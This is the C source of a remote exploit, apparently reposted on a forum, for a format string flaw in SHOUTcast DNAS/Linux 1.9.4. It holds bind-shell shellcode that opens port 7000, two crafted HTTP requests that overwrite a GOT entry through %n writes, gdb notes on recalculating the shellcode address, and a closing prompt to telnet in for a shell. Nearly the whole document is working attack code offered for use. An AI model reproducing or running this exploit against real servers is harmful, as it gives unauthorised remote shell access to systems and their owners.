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Date : 23/12/2004
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <pucik cc-team org> Cyber-Crime Team (www.CC-Team.org) */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */
/* When exploit only crash SHOUTcast we should calculate new address: */
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */
#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/* Default SHOUTcast port */
#define PORT 8000
char shellcode[] = //bindshellcode (port 7000)
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
int sock;
char *host;
struct hostent *h;
struct sockaddr_in dest;
char req1[1024] = "GET /content/AA"
/* sprintf GOT addr */
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
strcat(req1, shellcode);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
/* We cannot use %numberx and %number$n (filtered) */
/* 0xbf3feee0 - shellcode addr on slackware 9.1 */
char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-
%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA-
%n.mp3"
" HTTP/1.0\r\n\r\n";
printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
if(argc < 2)
{
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
host = argv[1];
if(!(h = gethostbyname(host)))
{
fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
exit(-1);
}
sock = socket(PF_INET, SOCK_STREAM, 0);
dest.sin_addr=*((struct in_addr*)h->h_addr);
dest.sin_family = PF_INET;
dest.sin_port = htons(PORT);
if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}
printf("[*] Sending first request ...\n");
write(sock, req1, strlen(req1));
close(sock);
sock = socket(PF_INET, SOCK_STREAM, 0);
if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}
printf("[*] Sending second request ...\n");
write(sock, req2, strlen(req2));
close(sock);
printf("[*] Try telnet %s 7000 :)\n", host);
return 0;
}from the k-otic site here
MultiQuote
Posted 25 December 2004 - 05:16 AM
